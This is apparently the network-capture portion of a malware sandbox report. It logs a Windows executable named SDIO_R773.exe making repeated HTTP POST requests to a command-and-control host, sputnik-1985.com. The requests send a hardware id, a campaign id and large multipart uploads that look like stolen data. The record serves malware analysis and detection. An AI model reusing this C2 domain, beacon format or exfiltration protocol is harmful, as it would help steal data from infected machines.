2025-01-11 10:56:12 UTC	999	IN	Data Raw: 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 Data Ascii: oter-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">8.46.123.189</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance &
2025-01-11 10:56:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49735	104.21.64.1	443	7528	C:\Users\user\Desktop\SDIO_R773.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 10:56:13 UTC	353	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=.3qNnW7B5PvVpXQQ4.UjY.DbaYunewo_Wyf0Mx12mTc-1736592972-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 44 Host: sputnik-1985.com
2025-01-11 10:56:13 UTC	44	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 42 62 4c 37 4b 6b 2d 2d 30 32 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=BbL7Kk--02&j=
2025-01-11 10:56:13 UTC	1122	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 10:56:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3o9a94m7n0oj3ug004n5r22muh; expires=Wed, 07 May 2025 04:42:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xNmdtp1or6HJe5jqPtTV9K3uM4wgoh1X6kPvYm2O%2FzOWMSyY1HhmkSurSFRn22xL41MQBr44KZcc7AzTjprZMyqw%2BgcSPMqZGxN60uC1A%2BJDpIlB08cPKiGmETwQPtP11dYl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 90046103a828c358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1653&min_rtt=1648&rtt_var=628&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2840&recv_bytes=1033&delivery_rate=1729857&cwnd=155&unsent_bytes=0&cid=740f9ed7565b63ed&ts=510&x=0"
2025-01-11 10:56:13 UTC	247	IN	Data Raw: 34 36 62 0d 0a 68 4e 73 4e 5a 39 63 50 2f 6b 70 69 34 77 63 71 67 6f 6b 43 48 5a 2b 64 4a 6e 69 6e 6b 68 7a 2b 54 6f 43 61 70 55 65 55 43 42 54 2f 2b 58 74 46 37 54 76 53 61 42 47 47 4a 52 44 32 2b 33 64 34 73 37 39 48 48 49 57 6f 65 70 38 69 38 2f 2b 4a 5a 65 4a 6c 4e 72 36 39 62 41 75 6b 61 74 4a 6f 42 35 73 6c 45 4e 6e 79 49 48 6a 78 76 78 78 61 77 76 68 2b 6e 79 4c 69 2b 38 34 6f 35 47 52 33 37 4c 64 71 44 37 4a 73 6d 69 73 4f 6a 6d 4a 50 35 2b 68 6f 63 2f 62 77 54 68 57 46 76 6a 36 62 4e 4b 4b 67 68 77 72 78 66 48 58 4a 75 6e 34 4d 39 58 4c 53 4d 55 43 47 61 51 69 34 71 32 4e 34 2f 66 46 41 48 4d 7a 36 64 4a 59 71 34 2f 37 50 4e 2f 31 75 66 4f 79 35 61 51 36 34 5a 59 34 6d 42 49 6c 70 53 65 33 6f 49 44 47 39 2b 46 78 61 6e 62 Data Ascii: 46bhNsNZ9cP/kpi4wcqgokCHZ+dJninkhz+ToCapUeUCBT/+XtF7TvSaBGGJRD2+3d4s79HHIWoep8i8/+JZeJlNr69bAukatJoB5slENnyIHjxvxxawvh+nyLi+84o5GR37LdqD7JsmisOjmJP5+hoc/bwThWFvj6bNKKghwrxfHXJun4M9XLSMUCGaQi4q2N4/fFAHMz6dJYq4/7PN/1ufOy5aQ64ZY4mBIlpSe3oIDG9+Fxanb
2025-01-11 10:56:13 UTC	891	IN	Data Raw: 41 74 72 69 2f 7a 36 64 49 6f 35 6d 77 32 2b 66 64 32 52 62 4a 68 33 48 42 41 69 57 6c 47 35 65 68 76 65 50 7a 2f 56 68 58 46 38 33 61 55 4b 4f 6a 33 79 43 72 34 59 48 48 75 73 47 67 4b 73 6d 57 61 4a 77 50 42 4b 77 6a 6e 38 79 41 6e 76 64 39 55 47 63 62 6b 63 34 31 73 2f 62 62 65 5a 66 46 6d 4e 72 37 35 61 51 75 30 59 4a 77 36 43 49 70 75 54 66 4c 67 61 58 4c 77 2f 30 6b 51 79 76 4e 2b 6d 79 62 6f 39 38 30 68 2b 32 64 77 35 72 6b 76 53 2f 56 71 68 47 68 59 77 55 5a 4e 38 4f 78 73 61 62 2f 46 42 41 57 4c 36 54 36 62 49 4b 4b 67 68 79 33 7a 61 58 58 74 74 6d 77 4e 76 6e 2b 63 4f 67 61 4d 59 46 72 6d 37 6d 35 31 2f 75 31 4f 46 4d 50 7a 64 35 63 6c 35 2f 2f 44 5a 62 67 71 63 66 37 35 4e 30 57 55 59 4a 63 6b 43 70 5a 6c 43 50 2b 6c 65 54 2f 36 38 77 52 43 68 Data Ascii: Atri/z6dIo5mw2+fd2RbJh3HBAiWlG5ehvePz/VhXF83aUKOj3yCr4YHHusGgKsmWaJwPBKwjn8yAnvd9UGcbkc41s/bbeZfFmNr75aQu0YJw6CIpuTfLgaXLw/0kQyvN+mybo980h+2dw5rkvS/VqhGhYwUZN8Oxsab/FBAWL6T6bIKKghy3zaXXttmwNvn+cOgaMYFrm7m51/u1OFMPzd5cl5//DZbgqcf75N0WUYJckCpZlCP+leT/68wRCh
2025-01-11 10:56:13 UTC	1369	IN	Data Raw: 31 30 31 38 0d 0a 7a 38 55 4d 4d 68 65 38 77 68 57 7a 6c 39 49 64 39 74 6d 56 35 36 62 46 76 42 4c 46 67 6d 43 6b 4e 6a 57 78 4c 37 4f 64 6f 63 76 48 37 53 78 4c 4e 38 33 61 4f 49 75 7a 2b 77 53 58 7a 4b 6a 69 6d 76 6e 64 46 37 53 32 34 4a 68 65 56 62 67 72 56 36 47 35 78 2b 75 6b 45 42 59 76 70 50 70 73 67 6f 71 43 48 4b 2f 74 68 65 75 47 77 62 67 61 31 5a 35 49 6e 43 6f 6c 74 53 4f 33 71 61 33 66 37 38 6b 38 56 79 76 64 32 6e 79 44 6e 39 63 52 6c 75 43 70 78 2f 76 6b 33 52 5a 42 6a 6e 7a 6b 52 77 31 42 4c 37 75 56 6e 61 62 33 67 43 67 4f 46 39 33 4c 63 64 4b 4c 79 77 43 4c 79 5a 33 7a 6c 76 57 73 49 75 6d 53 56 49 52 4b 4c 61 55 62 79 35 6d 70 36 38 2f 4e 42 46 63 58 78 66 35 49 6d 36 62 69 4a 5a 66 46 79 4e 72 37 35 51 41 69 6c 66 35 59 6a 45 63 4e 51 Data Ascii: 1018z8UMMhe8whWzl9Id9tmV56bFvBLFgmCkNjWxL7OdocvH7SxLN83aOIuz+wSXzKjimvndF7S24JheVbgrV6G5x+ukEBYvpPpsgoqCHK/theuGwbga1Z5InColtSO3qa3f78k8Vyvd2nyDn9cRluCpx/vk3RZBjnzkRw1BL7uVnab3gCgOF93LcdKLywCLyZ3zlvWsIumSVIRKLaUby5mp68/NBFcXxf5Im6biJZfFyNr75QAilf5YjEcNQ
2025-01-11 10:56:13 UTC	1369	IN	Data Raw: 41 6e 76 64 42 48 44 4d 2b 77 59 64 49 31 6f 76 2f 4c 5a 61 34 71 66 4f 71 39 62 41 6d 38 59 5a 45 70 42 49 5a 6f 54 4f 44 74 5a 6e 72 38 39 45 77 57 79 76 70 79 6d 43 44 72 2f 73 73 6d 39 57 77 32 71 50 6c 6f 48 66 55 31 33 41 6b 4e 69 6d 6c 49 34 2f 70 6e 50 37 4f 2f 53 68 7a 46 73 43 61 4b 50 50 58 2f 32 47 76 76 4b 6e 48 71 2b 54 64 46 76 33 2b 5a 4a 67 53 4c 59 45 7a 73 34 57 42 36 37 2f 64 43 48 63 6e 34 65 35 4d 71 35 2f 58 41 4c 76 56 34 5a 4f 57 39 59 51 6e 31 49 39 77 76 47 4d 45 39 43 4d 58 38 59 32 2f 37 2f 41 51 46 69 2b 6b 2b 6d 79 43 69 6f 49 63 6c 2b 47 5a 39 34 62 4a 6b 41 62 46 74 6b 53 4d 4f 6a 32 78 45 36 4f 64 6e 62 66 44 36 54 42 44 4d 39 58 4b 52 4c 2f 44 37 78 6d 57 34 4b 6e 48 2b 2b 54 64 46 6b 6c 36 72 43 30 43 65 4b 31 47 67 37 Data Ascii: AnvdBHDM+wYdI1ov/LZa4qfOq9bAm8YZEpBIZoTODtZnr89EwWyvpymCDr/ssm9Ww2qPloHfU13AkNimlI4/pnP7O/ShzFsCaKPPX/2GvvKnHq+TdFv3+ZJgSLYEzs4WB67/dCHcn4e5Mq5/XALvV4ZOW9YQn1I9wvGME9CMX8Y2/7/AQFi+k+myCioIcl+GZ94bJkAbFtkSMOj2xE6OdnbfD6TBDM9XKRL/D7xmW4KnH++TdFkl6rC0CeK1Gg7
2025-01-11 10:56:13 UTC	1369	IN	Data Raw: 2f 61 42 6e 4b 2b 7a 36 44 59 76 75 34 77 43 6d 32 4d 6a 62 68 73 57 63 4c 74 6d 75 58 4a 41 79 41 62 45 37 6c 34 32 64 77 2b 76 5a 44 47 73 50 69 65 5a 45 6c 34 76 50 4f 4c 2f 4a 72 66 61 62 33 4c 77 4b 74 4c 63 52 6f 4d 6f 5a 7a 57 4f 4f 72 66 7a 48 6b 76 30 4d 57 68 61 67 2b 6b 54 37 6a 2f 64 55 68 2b 57 46 6b 37 62 39 76 41 4b 64 71 6b 43 49 50 67 6d 31 46 34 2b 4e 79 66 2f 44 2f 56 67 6a 44 2b 33 44 63 59 71 4c 2f 33 32 57 75 4b 6b 66 78 73 69 38 61 2b 33 54 63 4c 77 7a 42 50 51 6a 6a 34 57 31 78 37 2f 74 43 45 63 62 2b 64 70 6b 6b 35 76 4c 4b 4b 76 31 67 66 2b 36 35 59 41 43 39 5a 70 6f 6d 41 59 64 70 52 61 43 6c 49 48 6a 6c 76 78 78 61 34 75 70 7a 6d 6a 76 7a 7a 63 41 6c 70 79 70 70 71 4b 41 76 41 72 6b 74 78 47 67 4e 6a 57 39 46 35 65 39 6f 65 50 Data Ascii: /aBnK+z6DYvu4wCm2MjbhsWcLtmuXJAyAbE7l42dw+vZDGsPieZEl4vPOL/Jrfab3LwKtLcRoMoZzWOOrfzHkv0MWhag+kT7j/dUh+WFk7b9vAKdqkCIPgm1F4+Nyf/D/VgjD+3DcYqL/32WuKkfxsi8a+3TcLwzBPQjj4W1x7/tCEcb+dpkk5vLKKv1gf+65YAC9ZpomAYdpRaClIHjlvxxa4upzmjvzzcAlpyppqKAvArktxGgNjW9F5e9oeP
2025-01-11 10:56:13 UTC	21	IN	Data Raw: 68 66 64 79 33 48 53 69 39 73 6f 6a 39 32 74 2b 37 72 6c 0d 0a Data Ascii: hfdy3HSi9soj92t+7rl
2025-01-11 10:56:13 UTC	1369	IN	Data Raw: 38 33 33 0d 0a 70 44 37 46 75 6c 53 73 48 69 47 4e 44 34 2b 46 76 65 50 76 37 52 42 48 43 2f 6e 69 5a 4a 2b 75 34 69 57 58 78 63 6a 61 2b 2b 55 6b 6d 70 33 2b 75 4a 67 4f 61 4a 56 65 75 38 69 42 34 38 62 38 63 57 73 37 34 63 59 34 70 36 2f 44 44 4c 50 5a 75 66 4f 75 2b 62 77 43 34 61 4a 67 6d 42 49 5a 6c 52 4f 2f 73 61 48 44 35 2f 30 74 61 69 37 42 35 68 47 79 36 75 4f 63 75 34 45 74 34 37 61 73 76 47 76 74 30 33 43 38 4d 77 54 30 49 37 75 4a 68 64 2f 50 7a 54 42 37 58 38 48 57 56 49 2b 50 33 78 79 62 33 59 48 37 30 76 32 38 4f 76 57 71 55 4c 41 36 54 5a 45 65 67 70 53 42 34 35 62 38 63 57 76 54 6d 65 5a 73 6a 6f 4e 48 41 50 76 64 67 64 65 32 31 4c 78 72 37 64 4e 77 76 44 4d 45 39 43 4f 33 6e 62 58 76 76 38 30 51 61 7a 50 64 30 6a 69 50 74 39 63 51 6c 38 Data Ascii: 833pD7FulSsHiGND4+FvePv7RBHC/niZJ+u4iWXxcja++Ukmp3+uJgOaJVeu8iB48b8cWs74cY4p6/DDLPZufOu+bwC4aJgmBIZlRO/saHD5/0tai7B5hGy6uOcu4Et47asvGvt03C8MwT0I7uJhd/PzTB7X8HWVI+P3xyb3YH70v28OvWqULA6TZEegpSB45b8cWvTmeZsjoNHAPvdgde21Lxr7dNwvDME9CO3nbXvv80QazPd0jiPt9cQl8
2025-01-11 10:56:13 UTC	737	IN	Data Raw: 34 5a 51 6d 30 61 70 73 6a 45 6f 70 33 51 2b 6a 6f 62 6e 66 30 2f 30 6f 61 78 50 31 2b 33 47 4b 69 2f 39 39 6c 72 69 70 54 78 61 35 35 44 2f 64 4f 69 7a 34 4b 68 6d 6c 65 36 2b 70 6a 61 66 44 76 42 46 53 46 34 58 6d 4e 62 4c 72 75 31 7a 4c 78 64 54 6a 2f 2b 57 67 4a 39 54 58 63 49 77 2b 50 61 45 50 6b 34 6d 56 33 2f 76 70 42 45 4d 6e 38 66 35 51 6c 36 50 33 43 49 2f 78 70 65 4f 6d 34 59 77 47 38 59 35 56 6f 54 73 46 69 55 4b 43 7a 49 45 6e 74 2b 46 77 58 31 62 4a 4d 6e 7a 33 7a 37 63 6f 31 38 43 68 5a 35 62 56 73 41 4c 4a 39 33 44 64 4f 6d 43 56 50 37 4b 73 34 50 2f 33 37 53 42 6e 43 2f 6e 47 52 49 2b 58 7a 79 43 2f 34 65 48 6e 6a 73 57 4d 4e 75 48 2b 57 49 68 4b 49 62 45 58 75 34 33 4a 38 76 62 45 45 48 64 32 77 4a 74 77 65 36 50 76 4c 4d 2f 74 6c 4e 76 Data Ascii: 4ZQm0apsjEop3Q+jobnf0/0oaxP1+3GKi/99lripTxa55D/dOiz4Khmle6+pjafDvBFSF4XmNbLru1zLxdTj/+WgJ9TXcIw+PaEPk4mV3/vpBEMn8f5Ql6P3CI/xpeOm4YwG8Y5VoTsFiUKCzIEnt+FwX1bJMnz3z7co18ChZ5bVsALJ93DdOmCVP7Ks4P/37SBnC/nGRI+XzyC/4eHnjsWMNuH+WIhKIbEXu43J8vbEEHd2wJtwe6PvLM/tlNv
2025-01-11 10:56:13 UTC	1369	IN	Data Raw: 38 32 61 0d 0a 50 50 4a 55 7a 78 71 7a 67 76 72 36 51 52 53 5a 4b 67 4c 49 4e 69 2b 37 6a 52 5a 61 34 34 4f 4b 61 72 4c 31 33 31 4b 70 38 36 45 6f 64 6d 58 75 4f 73 58 6b 48 61 35 55 6b 63 30 75 46 41 6f 69 76 34 39 63 45 79 35 79 5a 6a 35 62 64 68 41 71 4d 74 30 6d 67 50 77 54 31 78 6f 4b 4d 67 51 4c 4f 2f 58 46 71 64 73 45 75 66 49 75 7a 2f 30 54 53 37 54 57 7a 72 76 33 67 55 39 53 50 63 4c 6b 44 5a 4e 77 61 67 37 33 45 2f 70 61 38 57 51 5a 43 6a 4b 63 78 2b 2f 62 62 65 5a 65 41 71 4c 72 54 33 4c 78 66 31 4e 64 78 76 41 35 4e 33 54 75 50 39 59 7a 6a 44 77 57 6f 64 77 2f 56 35 6a 47 37 4d 38 39 4d 69 74 69 51 32 36 66 6b 33 50 50 55 6c 33 42 64 4f 77 58 30 49 75 4b 74 56 66 50 50 78 51 77 7a 55 76 56 43 62 4b 75 66 2f 31 32 66 59 59 57 4c 68 2b 53 46 46 Data Ascii: 82aPPJUzxqzgvr6QRSZKgLINi+7jRZa44OKarL131Kp86EodmXuOsXkHa5Ukc0uFAoiv49cEy5yZj5bdhAqMt0mgPwT1xoKMgQLO/XFqdsEufIuz/0TS7TWzrv3gU9SPcLkDZNwag73E/pa8WQZCjKcx+/bbeZeAqLrT3Lxf1NdxvA5N3TuP9YzjDwWodw/V5jG7M89MitiQ26fk3PPUl3BdOwX0IuKtVfPPxQwzUvVCbKuf/12fYYWLh+SFF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49736	104.21.64.1	443	7528	C:\Users\user\Desktop\SDIO_R773.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 10:56:14 UTC	365	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=K8TVJ8YTUGNJ Cookie: __cf_mw_byp=.3qNnW7B5PvVpXQQ4.UjY.DbaYunewo_Wyf0Mx12mTc-1736592972-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18124 Host: sputnik-1985.com
2025-01-11 10:56:14 UTC	15331	OUT	Data Raw: 2d 2d 4b 38 54 56 4a 38 59 54 55 47 4e 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 44 35 37 34 38 30 44 41 36 45 43 46 46 44 34 45 32 46 43 46 31 45 45 41 37 34 35 37 39 38 45 0d 0a 2d 2d 4b 38 54 56 4a 38 59 54 55 47 4e 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4b 38 54 56 4a 38 59 54 55 47 4e 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 42 62 4c 37 4b 6b 2d 2d 30 32 0d 0a 2d 2d 4b 38 54 56 4a 38 59 54 55 47 4e 4a 0d 0a 43 6f 6e Data Ascii: --K8TVJ8YTUGNJContent-Disposition: form-data; name="hwid"4D57480DA6ECFFD4E2FCF1EEA745798E--K8TVJ8YTUGNJContent-Disposition: form-data; name="pid"2--K8TVJ8YTUGNJContent-Disposition: form-data; name="lid"BbL7Kk--02--K8TVJ8YTUGNJCon
2025-01-11 10:56:14 UTC	2793	OUT	Data Raw: ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 be 93 15 Data Ascii: 'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwm
2025-01-11 10:56:27 UTC	1135	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 10:56:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=poqinmivl27ir64meje38dvqqm; expires=Wed, 07 May 2025 04:43:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Z0gMAWU41aeR6Jn%2FX9loZWIxCX1ddZKJnv5ktZPgwq97Oi4pYM93HGNgolhvt5hDH%2BpoVAn8W1k%2BbthjKVpP%2B6%2B%2BTe6M37Zh3tqoCPUIxQ1K3P1pwE2U7%2BVxCY6L2m491utk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9004610d2bd3c358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1648&min_rtt=1636&rtt_var=637&sent=10&recv=23&lost=0&retrans=0&sent_bytes=2841&recv_bytes=19169&delivery_rate=1685912&cwnd=155&unsent_bytes=0&cid=4f6f2ec3194436b8&ts=12198&x=0"
2025-01-11 10:56:27 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-11 10:56:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49743	104.21.64.1	443	7528	C:\Users\user\Desktop\SDIO_R773.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 10:56:27 UTC	361	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=TWFBAMJXU Cookie: __cf_mw_byp=.3qNnW7B5PvVpXQQ4.UjY.DbaYunewo_Wyf0Mx12mTc-1736592972-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8727 Host: sputnik-1985.com
2025-01-11 10:56:27 UTC	8727	OUT	Data Raw: 2d 2d 54 57 46 42 41 4d 4a 58 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 44 35 37 34 38 30 44 41 36 45 43 46 46 44 34 45 32 46 43 46 31 45 45 41 37 34 35 37 39 38 45 0d 0a 2d 2d 54 57 46 42 41 4d 4a 58 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 54 57 46 42 41 4d 4a 58 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 42 62 4c 37 4b 6b 2d 2d 30 32 0d 0a 2d 2d 54 57 46 42 41 4d 4a 58 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 Data Ascii: --TWFBAMJXUContent-Disposition: form-data; name="hwid"4D57480DA6ECFFD4E2FCF1EEA745798E--TWFBAMJXUContent-Disposition: form-data; name="pid"2--TWFBAMJXUContent-Disposition: form-data; name="lid"BbL7Kk--02--TWFBAMJXUContent-Disposi
2025-01-11 10:56:28 UTC	1119	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 10:56:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nu9f7vovhnikukveij6p6866v8; expires=Wed, 07 May 2025 04:43:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=H%2FBugpGCWnyJ9goxeBhdUm5QQcPWIWpbOaWbA04345pIbLVNYbp3nOqWnxh0a5yVA9tFnqpgyGonJkjaPN3uWNWJVyyMkX8CdgGMBdNDdqxFKD0b052QlOaXGO2lqE4rF9yp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9004615cef2cc358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1624&min_rtt=1619&rtt_var=618&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2840&recv_bytes=9746&delivery_rate=1755862&cwnd=155&unsent_bytes=0&cid=57ff7d5b036dc8fc&ts=506&x=0"
2025-01-11 10:56:28 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-11 10:56:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49744	104.21.64.1	443	7528	C:\Users\user\Desktop\SDIO_R773.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 10:56:28 UTC	370	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=IL6BMMWY71KX89XER Cookie: __cf_mw_byp=.3qNnW7B5PvVpXQQ4.UjY.DbaYunewo_Wyf0Mx12mTc-1736592972-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20428 Host: sputnik-1985.com
2025-01-11 10:56:28 UTC	15331	OUT	Data Raw: 2d 2d 49 4c 36 42 4d 4d 57 59 37 31 4b 58 38 39 58 45 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 44 35 37 34 38 30 44 41 36 45 43 46 46 44 34 45 32 46 43 46 31 45 45 41 37 34 35 37 39 38 45 0d 0a 2d 2d 49 4c 36 42 4d 4d 57 59 37 31 4b 58 38 39 58 45 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 49 4c 36 42 4d 4d 57 59 37 31 4b 58 38 39 58 45 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 42 62 4c 37 4b 6b 2d 2d 30 32 0d 0a 2d 2d 49 4c Data Ascii: --IL6BMMWY71KX89XERContent-Disposition: form-data; name="hwid"4D57480DA6ECFFD4E2FCF1EEA745798E--IL6BMMWY71KX89XERContent-Disposition: form-data; name="pid"3--IL6BMMWY71KX89XERContent-Disposition: form-data; name="lid"BbL7Kk--02--IL
